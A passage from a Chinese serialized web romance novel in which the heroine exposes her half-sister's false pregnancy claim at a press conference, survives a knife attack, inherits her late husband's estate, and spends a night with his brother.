“你看我肚子里的种,是陆钦的,也就是你名义上丈夫的亲骨肉。而你呢?得了陆家少夫人的名声又能怎样?陆钦到死都不愿意碰你一下!他在我床上的时候有多疯狂,你这辈子都想象不到!”
“啧啧,多可悲啊。”苏可人越笑约厉害。“是不是怕我的种现在出事?呵呵,苏亦姝,你说,要是真的在这个场合孩子没了,陆家,会不会找你质问?”
陆家老宅。
整个大厅安静得掉针可闻。
程丽梅死死攥着佛珠,掌心全是冷汗,心里恨不得把苏可人千刀万剐。
这个蠢货!谁让她把这种事捅出来的?这不仅是打苏亦姝的脸,这是把陆家的祖宗牌位都按在地上摩擦!
程丽梅不敢看老爷子的脸色,只能盯着屏幕,浑身都在发颤。
另一边,会场上的苏可人已经彻底疯了。
“陆钦跟我说,若不是家里逼着,他绝对不会娶你。娶你,不过是为了应付家里而已。”
苏可人笑得眼泪都快出来了,“苏亦姝,你以为你赢了?不,你输得彻彻底底!我肚子里的孩子,就是你这辈子最大的耻辱!”
刘芹在一旁帮腔,笑得满脸横肉都在颤抖。
“就是!陆钦最爱我家可人,而你,不过就是个占着茅坑不拉屎的摆设罢了!”
就在所有人都以为苏亦姝会失控、会愤怒、甚至会崩溃掩面而泣的时候。
突然,苏亦姝笑了。
那笑声极轻,却在寂静的会场里显得格外突兀。
苏可人脸上的得意僵住了,心头猛地跳漏了一拍,怒问:“你笑什么!”
苏亦姝理了理自己的衣领,看向苏可人的眼神里充满了怜悯。
“我笑你,没脑子,蠢得不自知。”
发布会现场的灯光聚焦在苏亦姝身上,她面上毫无被羞辱的颓态,反而脸上生出几分凌厉,眼神犀利且睥睨。
“苏可人,你口口声声说陆钦爱你,说你怀的是陆家的种。”
苏亦姝往前走了半步,眼神讽刺地瞥了眼苏可人的小腹,语气讥讽。
“可我真的很好奇,陆钦就算再疯狂,难道还能分身不成?之前我在陆家当着众人的面就说了,你受孕那几天,陆钦跟我在万佛寺闭关净身,连手机都没带,难不成你是求了哪路神仙,让你隔空受孕了?”
“你胡说!你那是嫉妒!是你为了遮丑编出来的谎话!”
苏可人尖叫着,声音却因为心虚而抑制不住地颤抖。她下意识地后退了一步,却撞在了刘芹身上。
刘芹也跟着帮腔,只是嗓音抖得厉害。
“苏亦姝,你少在那信口雌黄,可人怀的就是陆钦的,这还能有假?”
“真假不是靠嘴说的
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。”
这时,会场侧门被推开。
海绵风尘仆仆地走进来,手中紧紧攥着一份档案袋。
她穿过嘈杂的人群,径直走到苏亦姝身边,低声说了句。
“总监,拿到了,全是真的。”
苏亦姝接过档案袋,唇角勾起一抹弧度。
她没有废话,直接从里面抽出一张盖着公章的报告单,猛地展开,面对着台下黑压压的镜头。
“既然大家都在看直播,那就请看清楚。”
苏亦姝的声音不大不小,却能刚好贯穿全场。
“这是陆钦生前的体检报告,以及他在国外治疗期间的详细病历。”
大屏幕上同步投射出了报告的扫描件。
“报告显示,陆钦因为早年的意外,早在五年前就已经失去了生育能力。苏可人,你倒是告诉我,你是怎么怀上一个‘死精症’患者的孩子?”
瞬间,在场的众人哗然一片。
如果说刚才苏可人的爆料是惊雷,那苏亦姝这张报告单简直就是重量级的啊,还有什么比这更劲爆?
台下的记者们疯了一样对着大屏幕狂拍,直播间的弹幕瞬间清空,随后爆发了满屏的“**”。
苏可人死死盯着屏幕上那几个冰冷的医学术语,脸色由红转青,最后变得惨白如纸。
她张着嘴,喉咙里发出“咯咯”的声音,却一个字都说不出来。
“不……不可能……这报告是假的!是你伪造的!”刘芹疯了一样冲上来想撕抢报告。
苏亦姝反手一挥,动作干脆利落地将刘芹推开,眼神里满是嫌恶。
“假的?这份报告上有江城第一医院和海外医疗机构的双重公章,你若不信,大可以现在就去查。至于你女儿肚子里的野种到底是谁的——”
苏亦姝转过头,朝着侧门方向看了眼,而后语气冰冷:“估计,苏可人心里最清楚。”
陆家老宅。
程丽梅手中的佛珠终于不堪重负,“啪”地一声彻底崩断,圆润的珠子在大理石地面上四处飞溅,发出叮铃哐啷的乱响。
她瘫在椅子上,眼底全是震惊。
她怎么也没想到,自己儿子竟然是死精!!!
那苏可人肚子里的孩子……还会是阿钦的吗?
答案,显而易见……
老爷子坐在主位上,缓缓睁开眼,那双浑浊却苍劲的眸子里,此刻出奇的平静。
他没有看程丽梅,而是盯着屏幕里那个运筹帷幄的苏亦姝,干瘪的唇角竟露出一抹极其复杂的冷笑。
“好,真好,不愧是我陆家看中的人。”
第一百一十六章 行凶,出现护嫂
“苏亦姝,你这个疯子!这报告是假的,是你找人伪造的!”
苏可人尖叫着,整个人已经处于癫狂的边缘。
她死死护住自己的肚子,双目猩红地看着苏亦姝。。
“我怀的就是阿钦的孩子,如假包换!陆家已经承认了,你算个什么东西,竟然敢用这种下作的手段来诬陷我,你不就是为了独吞阿钦的遗产吗?”
刘芹也跟着撒泼,指着苏亦姝骂道:“大家别信她!她这就是想让可人的孩子没名分,好让她能全部得到陆钦的遗产!苏亦姝,你好狠毒,你会有报应的!”
面对这对母女的歇斯底里,苏亦姝始终表现得异常淡定。
她双手环胸,眼神清冷地看着她们垂死挣扎。
这种极致的冷静与对面的疯癫形成了鲜明的对比,现场记者手中的镜头不自觉地偏向了苏亦姝,直播间里的**风向也开始一边倒。
【苏总监这气场,说她是**我都不信,反观那对母女,怎么看都心虚。】
【死精症这种报告怎么**?去医院一查便知,苏可人这是真把大家当傻子了。】
【毕竟是小三生出的私生女,能登什么大雅之堂?】
就在这时,发布会的大门再次被推开。
吴海岩带着满脸怒火冲了进来。
他一进场,眼睛就四处搜寻着,最后落在苏可人身上。
“苏可人,你这个臭**!”
吴海岩吐了一口唾沫,指着她破口大骂。
“骗我帮你做事,说是为了咱俩的孩子,我呸!你说只要怀上孩子,不管陆钦认不认,反正陆家都会认,以后咱们的孩子就能过上人上人的生活,老子也能跟着享荣华富贵。结果呢?你自己住着VIP病房,让老子在外面东躲西藏受罪!你特么想独吞陆家的钱?”
苏可人看到吴海岩的那一刻,瞳孔骤然收缩,整个人彻底慌了。
她拼命摇头,尖叫道:“我不认识他!我根本不认识这个疯子!把他赶出去!”
“不认识我?”吴海岩冷笑一声,跨步上前,反手就是一个响亮的耳光,“啪”的一声,打得苏可人歪倒在地。
“**!怀了老子的种,骗我上你床的时候怎么说的?说你最爱我,能给我想要的一切!现在想甩了老子?没门!你屁股蛋子上那块红色的胎记有多大老子都知道,要不要当众验验?”
全场哗然。
记者们手中相机的快门声几乎连成了一片。
豪门秘辛演变成这种地步,已经不只是劲爆,简直是丧尽天良。
“当初闹着跟我分手,后来又找上我,说什么有好事找我。老子还以为是真的什么好事。也就陆家那个什么大少爷傻缺,他连碰没碰你都不知道,就傻乎乎的相信你怀了他的种,还给钱给你让你打掉。”
“你特么的,人家给那么多钱,偏偏不要,说什么对他是真爱,我呸。非要在人家结婚的时候找过去,最后好了,弄得人家**,咱们什么都没落着……”
现场的众人再次哗然,这消息……
苏可人却如遭雷击,脸色由白转灰,最后变得一片死寂。
在吴海岩出现的那一刻,她知道,苦心经营的豪门梦,彻彻底底地碎了。
三楼暗处,赵西双看着台下烂泥一般的苏可人,冷笑一声:“废物。”
随后,她毫无留恋地转身离开,苏可人这颗棋子已经废了,她得尽快处理掉尾巴。
苏可人瘫坐在地上,看着站在那依旧高傲、冷艳的苏亦姝。
苏亦姝那双眼睛永远是那么清冷,带着一种她永远都触不到的高贵,这是她不能容忍的。
“苏亦姝……我完了,我要你跟我一起下地狱!”
苏可人猛地发出一声凄厉的嘶吼,从凌乱的衣襟里掏出一把防身用的折叠刀,整个人像疯狗一样扑向苏亦姝。
“苏总!”海绵惊叫出声。
在场的人都惊呆了,谁也没想到苏可人竟然敢当众持刀行凶。
就在刀尖快要触及苏亦姝衣角的刹那,一只骨节分明的大手猛地扣住了苏亦姝的胳膊,顺势将她拽入一个充满冷冽雪松气息的怀抱中。
紧接着,一脚狠狠踹在苏可人的腹部。
“砰!”
苏可人像断了线的风筝一样飞了出去,重重砸在地板上。
她捂着肚子,脸色惨白,鲜血顺着大腿根部流出,在雪白的地板上触目惊心。
“可人!可人啊!”刘芹吓得魂飞魄散,扑上去大喊,“吴海岩!你瞎了?还不赶紧打电话救可人!”
吴海岩耸耸肩,一脸嫌弃地往后退。
“老子才不打,更不要那个孩子。老子自己都养不起,哪有闲钱养拖油瓶?她怀孩子是为了骗陆家的家产,现在家产没了,跟我有个屁关系。”
众人惊讶吴海岩的话,更惊讶他的无情。
不过
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转念一想,他也是受害者,这样也就能理解了。
陆慎松开苏亦姝的胳膊,稍微拉开了一点距离,眼神里的戾气在看向苏亦姝时收敛了几分,换上了一副客气且疏离的关切。
“大嫂,没事吧?”
他声音沉稳,态度把握得极有分寸,仿佛真的只是一个及时护住嫂子的陆家小叔子。
苏亦姝稳住心神,看着面前这张冷峻的脸,敛下眼睫,低声道:“没事,多谢。”
苏可人躺在冰冷的地面上,腹部的剧痛让她蜷缩成一团,意识在涣散,可那双满是血丝的眼睛依旧死死盯着苏亦姝。
她不甘心,她从一个见不得人的私生女爬到今天,每一步都算计到了骨子里,却还是输得一败涂地。
她不怨吴海岩的无情,也不怨刘芹的愚蠢,她只恨苏亦姝。
恨苏亦姝那与生俱来的从容,恨她无论被泼多少脏水,都能干干净净地站在聚光灯下。
发布会现场静得可怕,只有苏可人沉重的喘息声。
陆慎单手插兜,面无表情地俯视着地上的一摊血迹,眼神冰冷。
没有陆慎发话,在场的人哪怕再想做点什么,也没一个敢拿出手机拨打急救电话。
“周轩。”陆慎薄唇轻启,声音冷冽如冰,“报警。就说这里有人持刀行凶,另外,苏可人涉嫌巨额**,让警方立案调查。”
“是,陆总。”周轩当即拿出手机,当着所有媒体的面,有条不紊地报警。
刘芹瘫在苏可人身边,整个人被吓傻了,只会哆嗦着嘴唇喊“可人”,却连替她止血都忘了。
处理完苏可人,陆慎缓缓转过身,凌厉的目光扫过台下那群记者。
刚才跳得最欢、叫嚣得最凶的几个,此刻纷纷低下了头,连大气都不敢喘。
“今天,是我擎天集团的新品发布会。”陆慎语速极慢,却带着强大的威压,“有些人出现在这里是什么目的,你们心里清楚,我也清楚。既然你们这么喜欢看热闹,甚至不惜编造我大嫂囚禁生父的谎言,那我就成全你们。”
陆慎抬了抬手。
会场侧门,陈淮推着一张轮椅走了进来,轮椅上坐着一个头发花白、歪嘴斜眼的男人。
那人穿着宽大的病号服,歪着脑袋,浑浊的口水顺着嘴角不停下淌,胸口还挂着一块满是污渍的围兜。
有人发出惊呼:
“那是……苏董?”
第一百一十七章 完胜,拿到遗产
苏振东,曾经在江城商界也算是个人物,此刻哪还有半点老总的影子?
活脱脱一个神志不清的废人。
旁边跟着的医生向众人展示了一份病历。
“苏先生是因为苏氏集团破产的打击过大,突发大面积脑梗导致的中风。三天前,他在路边昏迷,被好心人送往医院,因为身上没有任何身份证件,医院挂的是‘无名氏’,直到今天早上陆先生的人通过大数据比对才找到他。”
陆慎看向瘫在地上的刘芹和苏可人,眼底一片森寒。
“你们口口声声说我大嫂囚禁了他,现在呢?怎么不说话了?是天生不爱说话?倒是在这里买通媒体演戏,搞得挺火热的。”
陆慎冷嗤一声,一脸讽刺。
“两个阴沟里的玩意儿,真以为弄大了肚子,随便说几句话,我陆家就会做那个冤大头?”
陆慎眼底掠过一抹戾气:“张口就来的污蔑,真以为法律不收丑人?”
刘芹看着轮椅上那个流着哈拉子的苏振东,吓得往后直缩。
她原本以为苏振东肯定是被苏亦姝关起来了,谁能想到他竟然真的中风了,还偏偏在这个时候被陆慎找了回来。
“不是的……我不知道,我以为……”刘芹语无伦次地辩解着。
苏亦姝始终站在陆慎身后半步的位置,她看着轮椅上那个曾经她真心敬爱的父亲,眼里没有同情,只有一种彻底切割后的释然。
警察很快便过来了。
刘芹挣扎着,“我不要,我不要坐牢……我什么都不知道,全都是她搞出来的。”
刘芹指着苏可人,厉声说着。“都是她,是她逼着我做的,还说赵西双会帮我们,赵西双人呢?什么都没看到……”
这一嘶吼,所有人都震惊了。
母亲指证女儿?果然是在利益面前,什么所谓的亲情,都是虚的罢了。
苏可人看着刘芹,突然笑了,笑着笑着,流下了眼泪。
她没说任何辩解的话,而是看向苏亦姝。
最后,任由警察带走。
不管刘芹怎么嚷嚷着,警察依旧带走了。
这场闹剧,似乎到这里终止了。
苏亦姝侧过头,对上海绵的视线,海绵心领神会地按下了播放键。
大屏幕上再次滚动起擎天新品的性能参数,苏亦姝重新拿起麦克风,声音平静得仿佛刚才那场闹剧从未发生。
“接下来,发布会继续。”
苏亦姝已经转身走上台上了,拿起了话筒。
众人立即把摄像头立即对准台上的苏亦姝,继续回归正题。
只是,众人的神色,依旧沉浸在刚才的那场狗血戏当中。
陆慎没走。
他大大咧咧地坐在前排中央的席位上,双腿交叠,目光始终落在台上那个正在专业讲解算法逻辑的苏亦姝身上。
他就像是一尊自带高气压的煞神,即便只是静静地坐着,也让那些原本心怀鬼胎的媒体人半点不敢造次。
因为苏可人和刘芹这对母女的这场闹剧,擎天的新品发布会在线上热度直接爆火。
随着那些荒唐真相的层层剥开,苏亦姝的人设从“毒妇”瞬间逆转成了“被吸血家庭拖累却自强不息的职场女王”。
发布会圆满收官,原本准备离场的媒体却被陆慎提前安排好的公关力量截住了。
刘芹临走前那句“赵西双会帮我们”,被陆慎顺水推舟,直接捅到了各大社交平台的榜首。
一时间,江城名媛赵西双涉嫌教唆、敲诈以及非法干预商业竞争的丑闻闹得满城风雨,**的火烧得比之前苏亦姝那场还要猛烈。
陆家老宅。
陆慎、陆亦姝以及脸色阴沉的陆域回到了老宅。
大厅里,那块巨大的屏幕还没撤下,画面定格在苏亦姝讲解技术的特写上。
苏亦姝看到那个巨大的屏幕,愣了下,有些诧异。
第一时间就猜到,可能是陆慎的手笔。
程丽梅颓败地坐在红木椅上,手中的佛串也断了。她低着头,全然没了往日那副当家主母的傲气。
她千算万算,没算到苏可人那个蠢货不仅怀了个野种,还连累她也差点给带进了沟里。
陆老爷子坐在主位,手里沉稳地转着核桃,目光沉静地扫视全场。
“回来了。”
随着老爷子开口,大厅里的气氛降至冰点。
“今天的发布会,反响特别好,新研制出来的新品,我也看了,比起往日的那几款,技术上提升了不少。”
老爷子看向苏亦姝,眼底终于浮现出一抹赞许。
“亦姝,你没给陆家丢脸,更没给阿钦丢脸。在这种阵仗下还能稳住发布会,这种手腕,我没看错人。”
苏亦姝微微颔首,语气疏离且客气,“谢谢爷爷夸奖。”
老爷子转过头,看了眼缩在一旁的程丽梅,冷哼一声,随即当众宣布。
“关于阿钦名下的遗产,无论是房产、股权还是信托基金,即日起,全部由苏亦姝一人继承。谁有异
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议,现在就提出来。”
二房、三房的人面面相觑,即便眼神里藏着不甘,可看着老爷子铁青的脸,谁也没敢在这个时候触霉头。
程丽梅更是把头埋得极低,陆钦的遗产是她最不愿的就是给苏亦姝,可现在,她只能眼睁睁看着它落入苏亦姝手中。
老爷子一顿拐杖,再次开口。
“另外,即日起,陆慎正式接回陆家家主之位,继续掌管擎天集团及陆氏所有核心产业。其他人,听从阿慎的安排。”
众**惊。
尤其是陆彦,满眼不甘,但是却又不得不接受这个事实。
陆子勋看向陆慎,眼底神色翻涌着。紧接着,朝着坐在那没说话的陆子谦看去。
“爸,这件事,是不是有待商榷?毕竟,阿慎是晚辈,这上面,还有二哥和阿域呢。”
陆子勋直接把陆子谦父子两推出去了。
陆子谦一愣,立即反应过来。
冷笑一声。“老三,你这话什么意思?我的能力我自己清楚,若是有那个能力,我当然不会让。而阿域,他的腿才刚恢复,大部分时间,还是以修养为主。”
陆域也紧跟着自己父亲的话,说道:“是啊三叔,我的腿并没有好利索。接下来,我在公司主要是忙些轻松的事情。阿慎回来了,刚好,我又能偷点懒了。”
这一番话,把自己的位置说的清清楚楚。
这让陆子勋气的直牙痒痒。
陆慎坐在旁边,把玩着打火机。
朝着陆子勋看去,眼底带着几分戏谑与嘲弄。“看来,三叔对我似乎恨不满……”
陆子勋对上陆慎的眼睛,整个人僵在那。
原本准备好的那套说辞在大脑里瞬间一片空白。他喉结艰难地上下滑动,掌心里渗出一层冷汗,想反驳,却发现自己连直视陆慎的底气都没有。
陆彦觉察到自己父亲的失态,心里暗骂一声老头子没出息,连忙打圆场。
“三哥,你误会了,我爸年纪大了,难免忧心过重。毕竟大家都是一家人,互相关心也正常。”
陆慎轻笑一声,这一声,不轻不重。
苏亦姝坐在一旁,垂眸看着杯中晃动的茶汤。对于陆慎的回归,根本没有任何诧异。
只是在心底琢磨着,自己怎么脱身陆家。
刚好这个时候,陆慎突然说了一句话。
“关心是好事,可若是关心过了头,把手伸到不该伸的地方去……那就不是关心,那是嫌自己的命,太长了。”
第一百一十八章 沉沦吧,此刻
夜晚,半山墅。
卧室,苏亦姝换了一身真丝睡衣,手里晃着半杯红酒,赤脚踩在地毯上。
今天这一仗,赢得漂亮,也赢得彻底。
苏振东废了,苏可人完了,陆钦的遗产也到了手。
按理说,自己该高兴,该狂欢。
可当红酒入喉,那股涩意蔓延开来时,苏亦姝只觉得心里空荡荡的。
以前拼了命想要争这口气,觉得那是自己应得的补偿。
可真拿到了,才发现这所谓的遗产,这所谓的陆家大少夫人的位置,也没什么意思。
“妈……”苏亦姝看着窗外的夜色,低喃了一句。
瑞士那边已经安排好了,只要把这边的资产变现转移,她就能带着母亲彻底离开江城,离开陆家。
至于陆慎……
苏亦姝眼底闪过一丝复杂。
这个男人太危险,趁自己彻底沦陷之前,必须尽早抽身。
“咔哒。”
极轻的一声响动,像是窗户锁扣被拨开的声音。
苏亦姝心头一惊,手里的酒杯差点没拿稳。
她猛地转身,还没来得及开口呵斥,就看到一道修长挺拔的身影已经翻了进来,带着一身还没散去的夜露寒气,堂而皇之地站在了她的卧室里。
除了陆慎,还能是谁。
苏亦姝紧绷的神经在看清来人的瞬间松懈下来,取而代之的是一种意料之中的无奈。
她没有尖叫,也没有质问,只是转身走到吧台前,拿出另一个高脚杯,倒了一杯酒,然后转身递给他。
“陆总放着大门不走,翻窗翻上瘾了?”
陆慎没接话,深邃的眼眸紧紧盯着她。
他走上前,接过酒杯,指尖无意间擦过苏亦姝的手背,温热与冰凉相触,带起一阵细微的电流。
“大嫂这是在庆祝今天的发布会圆满成功,还是庆祝拿到了陆钦的全部遗产?”
陆慎的声音有些哑,带着一丝不易察觉的焦躁。
苏亦姝低头看着杯中猩红的液体,轻晃了两下。“都有吧。毕竟,谁会嫌钱多呢?”
她语气平淡,甚至带着一丝嘲弄。
陆慎盯着她看了两秒,突然仰头,将杯中的红酒一饮而尽。
“恭喜。”
说完,把手中的酒杯放在旁边的柜子上,紧接着,朝着苏亦姝走去。
两人之间的距离瞬间被拉近,近到苏亦姝能闻到他身上淡淡的烟草味混合着红酒的醇香。
苏亦姝下意识想后退,却被陆慎一把扣住了后腰。
“苏亦姝。”
他没叫大嫂,而是连名带姓地喊她。
陆慎低下头,那双极具侵略性的眼睛死死盯着她,似乎是看穿了她心底的那些打算。
“你最好别动什么歪心思。”
苏亦姝心跳漏了一拍,面上却强撑着镇定,抬眸与他对视。
“我不懂你在说什么。我现在名利双收,陆家又是你在掌权,我能动什么歪心思?”
“是吗?”
陆慎冷笑一声,那笑意不达眼底,反而透着股狠劲。
“你眼里的那些小心思,藏都藏不住。”他捏着苏亦姝腰肢的手微微收紧,力道大得让苏亦姝有些吃痛。
“大嫂,我帮你扫平了障碍,把遗产送到你手上,不是为了让你拿了钱就跑路的。”
苏亦姝瞳孔微缩。
他看出来了?
“我警告你,千万不要过河拆桥。”陆慎低下头,温热的呼吸喷洒在她耳畔,说出的话却冷得像冰,“不管是去瑞士,还是去别的什么地方,你想都别想。”
苏亦姝身侧的手指猛地攥紧,极力控制着自己的情绪。
“我已经让你逃过一次了。”
陆慎的声音低沉暗哑,带着一股偏执的占有欲。
“当年你嫁给陆钦,我忍了。但现在,陆钦**,你也得到了你想要的。”
他抬起另一只手,粗粝的指腹摩挲着苏亦姝的下巴,强迫她抬起头来看着自己。
“现在的陆慎,已经不是当年的陆慎了。苏亦姝,你要是敢跑,就算是上天入地,我也能把你抓回来。到时候,我会把你关在身边,用铁链锁着,让你哪也去不了。”
苏亦姝看着眼前这个男人眼底翻涌的暗潮,后背渗出一层冷汗。
他不是在开玩笑。
如果不稳住他,如果不打消他的疑虑,瑞士的计划绝对会泡汤,她甚至可能真的会被他锁起来。
苏亦姝深吸一口气,强行压下心底的惊慌,甚至主动抬起手,搭在了陆慎的肩膀上。
她眼波流转,嘴角勾起一抹似有若无的笑,带着几分挑衅和安抚。
“陆总这是怕我卷款潜逃?”
苏亦姝搭在他肩膀上的手指微微用力,真丝睡衣的肩带下滑了半
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分,在昏黄的灯影下显出一抹勾人的白。
陆慎盯着她那张冷艳且挑衅的脸,手上的力道没有松半分,反而顺着腰线一寸寸往上游走,隔着单薄的真丝面料,掌心的温度烫得苏亦姝微微瑟缩。
“苏亦姝,你真当我是因为那点钱才守在这里的?”
陆慎低下头,鼻尖几乎抵住她的,嗓音哑得厉害。
他松开她的下巴,指腹顺着她的侧脸滑向耳根,暧昧地摩挲着。
“你之前不是说,我们只是各取所需的床伴关系吗?”
他轻笑一声,那笑声里藏着危险的欲念,“既然是庆祝你打了胜仗,拿到了想要的东西,不如……让我再【服务】你一次?”
灼热的呼吸喷洒在苏亦姝的耳垂上,每一个字都让她忍不住颤栗。
苏亦姝呼吸一滞,看着他眼底那抹赤裸裸的欲望,心里很清楚,这个男人在用这种方式确认他的掌控权。
“陆总的服务,可是贵得很。”她强撑着镇定,仰起头,红唇不经意擦过他的下颚,两人的身体跟着一僵。
“对你,免费。”
陆慎眼神一暗,猛地将她横抱起来,两三步跨到床边。
苏亦姝陷进柔软的真丝床垫里,黑发如墨般散开。
陆慎单膝跪在床沿,两手撑在她身侧,整个人倾身而下。
他没有急着吻下去,而是用手指缓慢地拨开她睡衣的领口,目光扫过她因为紧张而起伏的曲线。
“怎么,怕了?”他低笑着,薄唇贴在她的侧颈,惩罚性地轻咬了一下,“刚才主动搭我肩膀的胆子去哪了?”
“唔……”苏亦姝逸出一声轻吟,手下意识地揪住了身下的床单。
这种高张力的情绪拉扯让她有些招架不住,她心里清楚,今晚,是逃不掉的了。
而她,此刻也想要他,分不清是想要他的身体,还是其他。她也不想去深究,伸出一只手**陆慎短促的黑发中,用力往下一按,主动封住了他的唇。
苏亦姝咬着他的唇瓣,尝到了淡淡的血腥味。
陆慎闷哼一声,眼底的情欲在这一刻,再也不压抑着。他反客为主,狂乱地掠夺着她口中的呼吸,大手熟稔地探入那层阻碍。
“苏亦姝,记住了,你是我的。”他在情动时,贴着她的唇瓣低声警告着,“哪怕是下地狱,我也得拽着你。”
第一百一十九章 姑娘,你是抓奸夫还是抓小三
第二天下午,擎天集团技术总监办公室。
苏亦姝一袭冷灰色职业装,长发利落地挽起,正低头看着新品上市前的最后几项技术参数。
阳光穿过落地窗洒在她身上,透着股生人勿近的清冷。
她伸手揉了揉肩膀和手臂,酸疼的厉害。
一想到昨晚陆慎那不要命的折腾,一直折腾到凌晨,苏亦姝气的慌。若不是她再三阻拦,估计还要继续。
“陆总好!”
走廊外突然传来温书紧绷的问候声,紧接着,办公室大门被人推开。
陆慎穿着一身墨色西服走进来,眉宇间带着几分餍足后的神采奕奕,那双眼在看向苏亦姝时,带着几分克制。
原本还在讨论工作的几个技术员看到陆慎进来,一个个脊背挺直,紧张得大气都不敢喘一下。
苏亦姝眼皮都没抬一下,笔尖在纸张上发出细微的沙沙声。
陆慎走到办公桌前站定,指关节敲了敲桌面。
“苏总监,这么忙?”
苏亦姝这才缓缓冲他扯了个公事公办的微笑,语气凉薄。
“陆总,现在是工作时间。若无要事,还请别打扰我。”
陆慎气结,心里忍不住暗骂:这个女人,昨晚在床上还咬着他的肩膀不放,现在穿上衣服坐进办公室,俨然一副不想负责的渣女做派。
就在气氛陷入僵持时,门外再次传来动静。
“苏总监,我没打扰到你们吧?”
陆域出现在门口。
他现在负责市场对接,手里拿着一叠厚厚的新品推广方案。
看到陆慎也在,陆域神色如常地打了个招呼。。
“陆总也在啊,我来是有些市场反馈想听听苏总监的专业意见。”
说完,他便略过陆慎,直接将方案放在了苏亦姝面前。
“苏总监,你看这几种包装风格,哪种更符合你当初设计这套算法的初心?”
苏亦姝神色微动,放下钢笔,直接侧过身拉近了和陆域的距离。
她指着其中一张草图,声音温和了许多。
“我觉得这款极简主义的更合适,算法的核心是减法,包装不该喧宾夺主……”
两人你来我往,讨论得热火朝天。
陆慎被硬生生地挤在了一边。
他看着苏亦姝对陆域那副耐心且专业的模样,再回想刚才对自己那副死鱼脸,胸口那股无名火蹭地一下就烧到了嗓子眼。
温书缩在墙角,见陆慎那脸色,黑的快要滴出墨水来了,看着好吓人。而苏总监还在聊着,似乎根本就没察觉到,这让她心惊胆战得恨不得原地消失。
陆慎冷笑一声,舌尖抵了抵腮帮子。
他知道苏亦姝是故意的,这女人在用这种方式报复他昨晚要的多了。
“行,你们忙。”
陆慎从牙缝里挤出这几个字,猛地转身离开。
再不离开,他怕自己控制不住自己了。
“砰”的一声,办公室门被重重关上。
苏亦姝微微挑眉,神色无所谓,继续跟陆域讨论着。
这一幕,被一直关注着办公室里面动向的马向东看到了。
他眯起双眼,心思飞转。
他心底暗忖,自己之前做过一些事情,陆慎估计会容不下他。
但是,他又不甘心就这么离开了。
不过,现在看陆慎这副吃瘪的样子,很显然苏亦姝是牵制陆慎最好的棋子。
所以,他要好好利用这颗棋子,为自己争取最大的利益。
接连两三天,苏亦姝和陆域几乎每天都会在办公室讨论。
她与陆域在办公室里一待就是大半天,两人对着推广方案斟字酌句,偶尔因为一个配色方案讨论到深夜。
每当陆慎找各种借口——查岗、送咖啡、甚至是亲自下达所谓的“紧急会议”时,苏亦姝总是能用各种理由推脱掉。
这让陆慎十分憋屈。
江城顶级私人会所。
陆慎靠在沙发上,领带被扯得歪歪斜斜,指间夹着烟,面前的酒杯已经空了大半。
“你说,她是不是没良心?”
陆慎吐出一口烟圈,一脸怨夫样,“下了床就不认人。我推了多少会议去陪她?她倒好,跟陆域聊得连饭都能忘了吃。”
坐在一旁的顾从之听得直翻白眼,这种豪门怨夫的戏码,他这几天耳朵都听出茧子了。
“慎哥,你要
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是真受不了,直接把她扛回去不就得了?”顾从之仰头喝了一口酒,嘴欠地补了一句,“再说,当初可是你自己说的,只是‘各取所需’。”
陈淮也在一旁憋笑,这大概是陆慎这辈子遇到的最大铁板。
这铁板不仅硬,还带着高压电,陆慎想摸一把,不仅得被电,还得被冷暴力。
“滚蛋。”陆慎骂了一句,眼底掠过一丝挫败。
拿起面前的酒杯,一饮而尽里面的酒。
而此时,江城第一医院。
苏亦姝刚看望完方思荷出来。
方思荷的情况稳定了不少,只是还需要静养。
她提着包,边走边在手机上跟海绵交代后续的技术收尾工作,眉宇间带着一丝疲惫。
“叮——”
电梯门在一楼缓缓打开。
苏亦姝刚走出大厅,余光忽地瞥见一个熟悉的身影。
在医院侧门的拐角处,陆玥正低着头,神色慌张地快步走了出来。
她今天穿得极其低调,一件宽大的黑色风衣裹得严严实实,甚至还带了口罩和墨镜。
这大晚上的戴墨镜,想让人不注意都难。
最让苏亦姝起疑的是,陆玥出来后并没有急着走,而是贼兮兮地四处张望,确定没人注意后,才快步走向一辆停在树阴下的灰色私家车。
那辆车,不是陆家的。
苏亦姝脚步顿住,眉头微微一皱。
陆玥这个时间出现在医院,还这副打扮,绝对有问题。
按理说,陆玥这种娇生惯养的大小姐,生病了也是去陆家的私人诊所,跑来第一医院干什么?
原本不想管这些烂事,思考再三,还是跟了过去。
她没有惊动对方,而是迅速收起手机,顺手拦了一辆出租车。
“跟上前面那辆灰色的车,稍微拉开点距离。”
出租车司机见惯了这种戏码,二话不说踩下了油门。
嘴里还说着,“美女,你这是抓奸夫还是抓小三啊?这个我拿手啊。最近我可是参与了好几起啊……我告诉你,抓奸夫和抓小三,绝对不能手软,但是也不能盲目的上去,需要技巧的……”
苏亦姝:……
第一百二十章 大小姐所谓的爱情
出租车司机还在喋喋不休地传授着“抓奸秘籍”,听得苏亦姝头疼,皱眉紧皱,打断了他。
“师傅,麻烦专心开车。”
司机师傅只能悻悻然没再说了,但那神色,依旧是一脸八卦。
车子最后停在了一家名为“魅色”的酒吧门口。
这里地处江城的老城区,鱼龙混杂,显然不是陆玥这种千金大小姐平日里会涉足的地方。
苏亦姝坐在车子里,看着陆玥付了钱,把衣领竖得更高,似乎在遮掩什么,然后小跑着钻进了那扇闪着霓虹灯的酒吧大门。
苏亦姝付过车费,不远不近地跟了进去。
酒吧里音乐声震耳欲聋,舞池里群魔乱舞,空气中弥漫着香烟和酒精混合的味道。
苏亦姝忍着不适,目光在昏暗的光线中搜寻着,很快就在角落的一个卡座里看到了陆玥的身影。
此时的陆玥,正站在卡座前,情绪激动地对着沙发上的人比划着什么。
苏亦姝找了个视线较好的位置,点了一杯饮料,借着闪烁的灯球看清了那边的情况。
卡座正中间坐着个染了一头红毛的少年,耳朵上打着一排耳钉,嘴里叼着烟,那一身衣服松松垮垮,满脸的吊儿郎当。
他怀里正搂着一个画着烟熏妆、穿着渔网袜的精神小妹,两人正若无旁人地调笑着。
红毛身后还围着一群同样打扮的男男女女,桌上摆满了各种酒。
陆玥一把扯下衣领,指着那个精神小妹,声音尖锐地质问:“她是谁?阿杰,你不是说只爱我一个人的吗?这就是你说的只爱我?”
似乎是被打扰到了,红毛不耐烦地掏了掏耳朵,吐出一口烟圈。
“大小姐,我是说过爱你啊。”
红毛嗤笑一声,手在那精神小妹的腰上掐了一把,引得对方娇笑连连。
“但我说的是,跟你在一起的那几分钟,我确实只爱你一个。这话没毛病啊,现在我不爱了,不行?”
陆玥气得浑身发抖,眼眶瞬间红了,“你混蛋!你怎么能这么对我?为了跟你在一起,我甚至偷了家里的……”
